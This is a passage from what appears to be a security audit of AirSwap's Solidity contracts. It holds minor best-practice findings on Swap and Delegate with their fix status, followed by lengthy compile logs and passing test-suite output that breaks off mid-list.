hash computation as this would be the more standard interface, and presumably the one that a token would publish to indicate it is ERC20-compliant. •Update: fixed.Delegate.sol ERC20_INTERFACE_ID = 0x277f8169 bytes4(keccak256('transfer(address,uint256)')) ^ bytes4(keccak256('transferFrom(address,address,uint256)')) ^ bytes4(keccak256('balanceOf(address)')) ^ bytes4(keccak256('allowance(address,address)')) ERC20 approve(address, uint256) totalSupply() ERC20 It is not clear how users or the web interface will utilize , however if the user sets too large of values in , it can cause SafeMath to revert when invoking . It may be useful to add when invoking in order to ensure that overflow/underflow will not cause SafeMath to revert. •Delegate.getMaxQuote() setRule() getMaxQuote() require(getMaxQuote(...) > 0) setRule() In , it may be best to check that is either or . With the current setup, the else-branch may accept orders that do not have a correct value. •Update: confirmed as expected behavior to default to ERC20 unless ERC721 is detected.Swap.transferToken() kind ERC721_INTERFACE_ID ERC20_INTERFACE_ID kind On L52 of , it appears that could simply map to a instead of a . • Swap.sol signerNonceStatus bool byte In and these functions may emit an or event, even if the entries already exist in the mapping. It may be better to first check if the corresponding mapping entries already exist in these functions. Similarly, the and functions may emit events, even if the entry did not previously exist in the mapping. •Update: fixed.Swap.authorizeSender() Swap.authorizeSigner() AuthorizeSender AuthorizeSigner revokeSender() revokeSigner() In , consider adding two helper functions for computing price constraints as opposed to duplication on lines L234, L291, L323, L356. •Update: fixed.Delegate.sol In , in the comment on L138, should be . • Update: fixed.Delegate.sol senderToken signerToken The function name is not very clear: invalidate(50) seems like it should invalidate the order with nonce 50, but it only invalidates up to 49. Consider alternative names such as "invalidateBefore". •Update: fixed.Swap.invalidate() It is possible to first then later. This makes it possible to make orders be valid again after they have been canceled in the first place. If this is not an intended behavior, to prevent unexpected consequence, we •Update: confirmed as expected behavior.invalidate(50) invalidate(30) suggest adding a check that thebe larger than . • minimumNonce signerMinimumNonce[msg.sender] Test Results Test Suite Results yarn test yarn run v1.19.2 $ yarn clean && yarn compile && lerna run test --concurrency=1 $ lerna run clean lerna notice cli v3.19.0 lerna info versioning independent lerna info Executing command in 9 packages: "yarn run clean" lerna info run Ran npm script 'clean' in '@airswap/tokens' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/transfers' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/types' in 0.2s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/indexer' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/swap' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/deployer' in 0.3s: $ rm -rf ./build && rm -rf ./flatten lerna info run Ran npm script 'clean' in '@airswap/delegate' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/pre-swap-checker' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/wrapper' in 0.3s: $ rm -rf ./build lerna success run Ran npm script 'clean' in 9 packages in 1.3s: lerna success - @airswap/delegate lerna success - @airswap/indexer lerna success - @airswap/swap lerna success - @airswap/tokens lerna success - @airswap/transfers lerna success - @airswap/types lerna success - @airswap/wrapper lerna success - @airswap/deployer lerna success - @airswap/pre-swap-checker $ lerna run compile lerna notice cli v3.19.0 lerna info versioning independent lerna info Executing command in 9 packages: "yarn run compile" lerna info run Ran npm script 'compile' in '@airswap/tokens' in 10.6s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/AdaptedERC721.sol > Compiling ./contracts/AdaptedKittyERC721.sol > Compiling ./contracts/ERC1155.sol > Compiling ./contracts/FungibleToken.sol > Compiling ./contracts/IERC721Receiver.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/MintableERC1155Token.sol > Compiling ./contracts/NonFungibleToken.sol > Compiling ./contracts/OMGToken.sol > Compiling ./contracts/OrderTest721.sol > Compiling ./contracts/WETH9.sol > Compiling ./contracts/interfaces/IERC1155.sol > Compiling ./contracts/interfaces/IERC1155Receiver.sol > Compiling ./contracts/interfaces/IWETH.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/drafts/Counters.sol > Compiling openzeppelin-solidity/contracts/introspection/ERC165.sol > Compiling openzeppelin-solidity/contracts/introspection/IERC165.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/tokens/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/types' in 10.8s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/Types.sol > Compiling @airswap/tokens/contracts/AdaptedERC721.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/tokens/contracts/NonFungibleToken.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/drafts/Counters.sol > Compiling openzeppelin-solidity/contracts/introspection/ERC165.sol > Compiling openzeppelin-solidity/contracts/introspection/IERC165.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol> Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: /Users/ezulkosk/audits/airswap-protocols/source/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/types/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/transfers' in 12.4s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/TransferHandlerRegistry.sol > Compiling ./contracts/handlers/ERC1155TransferHandler.sol > Compiling ./contracts/handlers/ERC20TransferHandler.sol > Compiling ./contracts/handlers/ERC721TransferHandler.sol > Compiling ./contracts/handlers/KittyCoreTransferHandler.sol > Compiling ./contracts/interfaces/IKittyCoreTokenTransfer.sol > Compiling ./contracts/interfaces/ITransferHandler.sol > Compiling @airswap/tokens/contracts/AdaptedERC721.sol > Compiling @airswap/tokens/contracts/AdaptedKittyERC721.sol > Compiling @airswap/tokens/contracts/ERC1155.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/tokens/contracts/MintableERC1155Token.sol > Compiling @airswap/tokens/contracts/NonFungibleToken.sol > Compiling @airswap/tokens/contracts/interfaces/IERC1155.sol > Compiling @airswap/tokens/contracts/interfaces/IERC1155Receiver.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/drafts/Counters.sol > Compiling openzeppelin-solidity/contracts/introspection/ERC165.sol > Compiling openzeppelin-solidity/contracts/introspection/IERC165.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/transfers/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/deployer' in 4.3s: $ truffle compile Compiling your contracts... =========================== > Everything is up to date, there is nothing to compile. lerna info run Ran npm script 'compile' in '@airswap/indexer' in 13.6s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/Imports.sol > Compiling ./contracts/Index.sol > Compiling ./contracts/Indexer.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/interfaces/IIndexer.sol > Compiling ./contracts/interfaces/ILocatorWhitelist.sol > Compiling @airswap/delegate/contracts/Delegate.sol > Compiling @airswap/delegate/contracts/DelegateFactory.sol > Compiling @airswap/delegate/contracts/interfaces/IDelegate.sol > Compiling @airswap/delegate/contracts/interfaces/IDelegateFactory.sol > Compiling @airswap/indexer/contracts/interfaces/IIndexer.sol > Compiling @airswap/indexer/contracts/interfaces/ILocatorWhitelist.sol > Compiling @airswap/swap/contracts/Swap.sol > Compiling @airswap/swap/contracts/interfaces/ISwap.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/transfers/contracts/TransferHandlerRegistry.sol > Compiling @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol > Compiling @airswap/transfers/contracts/interfaces/ITransferHandler.sol > Compiling @airswap/types/contracts/Types.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimentalfeatures on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/delegate/contracts/interfaces/IDelegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/delegate/contracts/Delegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/Swap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/indexer/contracts/Index.sol:17:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/indexer/contracts/Indexer.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/indexer/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/swap' in 14.1s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/Swap.sol > Compiling ./contracts/interfaces/ISwap.sol > Compiling @airswap/swap/contracts/interfaces/ISwap.sol > Compiling @airswap/tokens/contracts/AdaptedERC721.sol > Compiling @airswap/tokens/contracts/AdaptedKittyERC721.sol > Compiling @airswap/tokens/contracts/ERC1155.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/tokens/contracts/MintableERC1155Token.sol > Compiling @airswap/tokens/contracts/NonFungibleToken.sol > Compiling @airswap/tokens/contracts/OMGToken.sol > Compiling @airswap/tokens/contracts/interfaces/IERC1155.sol > Compiling @airswap/tokens/contracts/interfaces/IERC1155Receiver.sol > Compiling @airswap/transfers/contracts/TransferHandlerRegistry.sol > Compiling @airswap/transfers/contracts/handlers/ERC1155TransferHandler.sol > Compiling @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol > Compiling @airswap/transfers/contracts/handlers/ERC721TransferHandler.sol > Compiling @airswap/transfers/contracts/handlers/KittyCoreTransferHandler.sol > Compiling @airswap/transfers/contracts/interfaces/IKittyCoreTokenTransfer.sol > Compiling @airswap/transfers/contracts/interfaces/ITransferHandler.sol > Compiling @airswap/types/contracts/Types.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/drafts/Counters.sol > Compiling openzeppelin-solidity/contracts/introspection/ERC165.sol > Compiling openzeppelin-solidity/contracts/introspection/IERC165.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/swap/contracts/Swap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/swap/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/pre-swap-checker' in 11.7s: $ truffle compile Compiling your contracts...=========================== > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/PreSwapChecker.sol > Compiling @airswap/swap/contracts/Swap.sol > Compiling @airswap/swap/contracts/interfaces/ISwap.sol > Compiling @airswap/tokens/contracts/AdaptedERC721.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/tokens/contracts/NonFungibleToken.sol > Compiling @airswap/tokens/contracts/OMGToken.sol > Compiling @airswap/transfers/contracts/TransferHandlerRegistry.sol > Compiling @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol > Compiling @airswap/transfers/contracts/interfaces/ITransferHandler.sol > Compiling @airswap/types/contracts/Types.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/drafts/Counters.sol > Compiling openzeppelin-solidity/contracts/introspection/ERC165.sol > Compiling openzeppelin-solidity/contracts/introspection/IERC165.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/Swap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/utils/pre-swap-checker/contracts/PreSwapChecker.sol:2:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/utils/pre-swap-checker/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/delegate' in 13.0s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/Delegate.sol > Compiling ./contracts/DelegateFactory.sol > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/interfaces/IDelegate.sol > Compiling ./contracts/interfaces/IDelegateFactory.sol > Compiling @airswap/delegate/contracts/interfaces/IDelegate.sol > Compiling @airswap/indexer/contracts/Index.sol > Compiling @airswap/indexer/contracts/Indexer.sol > Compiling @airswap/indexer/contracts/interfaces/IIndexer.sol > Compiling @airswap/indexer/contracts/interfaces/ILocatorWhitelist.sol > Compiling @airswap/swap/contracts/Swap.sol > Compiling @airswap/swap/contracts/interfaces/ISwap.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/transfers/contracts/TransferHandlerRegistry.sol > Compiling @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol > Compiling @airswap/transfers/contracts/interfaces/ITransferHandler.sol > Compiling @airswap/types/contracts/Types.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/delegate/contracts/interfaces/IDelegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/delegate/contracts/Delegate.sol:18:1: Warning: Experimentalfeatures are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/Swap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/indexer/contracts/Index.sol:17:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/indexer/contracts/Indexer.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/delegate/contracts/interfaces/IDelegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/delegate/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/wrapper' in 12.4s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/HelperMock.sol > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/Wrapper.sol > Compiling @airswap/delegate/contracts/Delegate.sol > Compiling @airswap/delegate/contracts/interfaces/IDelegate.sol > Compiling @airswap/indexer/contracts/Index.sol > Compiling @airswap/indexer/contracts/Indexer.sol > Compiling @airswap/indexer/contracts/interfaces/IIndexer.sol > Compiling @airswap/indexer/contracts/interfaces/ILocatorWhitelist.sol > Compiling @airswap/swap/contracts/Swap.sol > Compiling @airswap/swap/contracts/interfaces/ISwap.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/tokens/contracts/WETH9.sol > Compiling @airswap/tokens/contracts/interfaces/IWETH.sol > Compiling @airswap/transfers/contracts/TransferHandlerRegistry.sol > Compiling @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol > Compiling @airswap/transfers/contracts/interfaces/ITransferHandler.sol > Compiling @airswap/types/contracts/Types.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/delegate/contracts/interfaces/IDelegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/wrapper/contracts/Wrapper.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/wrapper/contracts/HelperMock.sol:2:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/Swap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/delegate/contracts/Delegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/indexer/contracts/Index.sol:17:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/indexer/contracts/Indexer.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/wrapper/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna success run Ran npm script 'compile' in 9 packages in 62.4s:lerna success - @airswap/delegate lerna success - @airswap/indexer lerna success - @airswap/swap lerna success - @airswap/tokens lerna success - @airswap/transfers lerna success - @airswap/types lerna success - @airswap/wrapper lerna success - @airswap/deployer lerna success - @airswap/pre-swap-checker lerna notice cli v3.19.0 lerna info versioning independent lerna info Executing command in 9 packages: "yarn run test" lerna info run Ran npm script 'test' in '@airswap/order-utils' in 1.4s: $ mocha test Orders ✓ Checks that a generated order is valid Signatures ✓ Checks that a Version 0x45: personalSign signature is valid ✓ Checks that a Version 0x01: signTypedData signature is valid 3 passing (27ms) lerna info run Ran npm script 'test' in '@airswap/transfers' in 10.1s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Everything is up to date, there is nothing to compile. Contract: TransferHandlerRegistry Unit Tests Test fetching non-existent handler ✓ test fetching non-existent handler, returns null address Test adding handler to registry ✓ test adding, should pass (87ms) Test adding an existing handler from registry will fail ✓ test adding an existing handler will fail (119ms) Contract: TransferHandlerRegistry Deploying... ✓ Deployed TransferHandlerRegistry contract (56ms) ✓ Deployed test contract "AST" (55ms) ✓ Deployed test contract "MintableERC1155Token" (71ms) ✓ Test adding transferHandler by non-owner reverts (46ms) ✓ Set up TokenRegistry (561ms) Minting ERC20 tokens (AST)... ✓ Mints 1000 AST for Alice (67ms) Approving ERC20 tokens (AST)... ✓ Checks approvals (Alice 250 AST (62ms) ERC20 TransferHandler ✓ Checks balances and allowances for Alice and Bob... (99ms) ✓ Checks that Alice cannot trade 200 AST more than allowance of 50 AST (136ms) ✓ Checks remaining balances and approvals were not updated in failed transfer (86ms) ✓ Adding an id with ERC20TransferHandler will cause revert (51ms) ERC721 and CKitty TransferHandler ✓ Deployed test ERC721 contract "ConcertTicket" (70ms) ✓ Deployed test contract "CKITTY" (51ms) ✓ Carol initiates an ERC721 transfer of ConcertTicket #121 tokens from Alice to Bob (224ms) ✓ Carol fails to perform transfer of ConcertTicket #121 from Bob to Alice when an amount is set (103ms) ✓ Mints a kitty collectible (#54321) for Bob (78ms) ✓ Bob approves KittyCoreHandler to transfer his kitty collectible (47ms) ✓ Carol fails to perform transfer of CKITTY collectable #54321 from Bob to Alice when an amount is set (79ms) ✓ Carol initiates a transfer of CKITTY collectable #54321 from Bob to Alice (72ms) ERC1155 TransferHandler ✓ Mints 100 of Dragon game token (#10) for Alice (65ms) ✓ Check the Dragon game token (#10) balance prior to transfer (39ms) ✓ Alice approves ERC115TransferHandler to transfer all the her ERC1155 tokens (38ms) ✓ Carol initiates an ERC1155 transfer of Dragon game token (#10) from Alice to Bob (107ms) 26 passing (4s) lerna info run Ran npm script 'test' in '@airswap/types' in 9.2s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Compiling ./test/MockTypes.sol > compilation warnings encountered: /Users/ezulkosk/audits/airswap-protocols/source/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/types/test/MockTypes.sol:2:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ Contract: Types Unit TestsTest hashing functions within the library ✓ Test hashOrder (163ms) ✓ Test hashDomain (56ms) 2 passing (2s) lerna info run Ran npm script 'test' in '@airswap/indexer' in 26.4s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Compiling ./contracts/interfaces/IIndexer.sol > Compiling ./contracts/interfaces/ILocatorWhitelist.sol Contract: Index Unit Tests Test constructor ✓ should setup the linked locators as just a head, length 0 (48ms) Test setLocator ✓ should not allow a non owner to call setLocator (91ms) ✓ should not allow a blank locator to be set (49ms) ✓ should allow an entry to be inserted by the owner (112ms) ✓ should insert subsequent entries in the correct order (230ms) ✓ should insert an identical stake after the pre-existing one (281ms) ✓ should not be able to set a second locator if one already exists for an address (115ms) Test updateLocator ✓ should not allow a non owner to call updateLocator (49ms) ✓ should not allow update to non-existent locator (51ms) ✓ should not allow update to a blank locator (121ms) ✓ should allow an entry to be updated by the owner (161ms) ✓ should update the list order on updated score (287ms) Test getting entries ✓ should return the entry of a user (73ms) ✓ should return empty entry for an unset user Test unsetLocator ✓ should not allow a non owner to call unsetLocator (43ms) ✓ should leave state unchanged for someone who hasnt staked (100ms) ✓ should unset the entry for a valid user (230ms) Test getScore ✓ should return no score for a non-user (101ms) ✓ should return the correct score for a valid user Test getLocator ✓ should return empty locator for a non-user (78ms) ✓ should return the correct locator for a valid user (38ms) Test getLocators ✓ returns an array of empty locators ✓ returns specified number of elements if < length (267ms) ✓ returns only length if requested number if larger (198ms) ✓ starts the array at the specified starting user (190ms) ✓ starts the array at the specified starting user - longer list (543ms) ✓ returns nothing for an unstaked user (205ms) Contract: Indexer Unit Tests Check constructor ✓ should set the staking token address correctly Test createIndex ✓ createIndex should emit an event and create a new index (51ms) ✓ createIndex should create index for 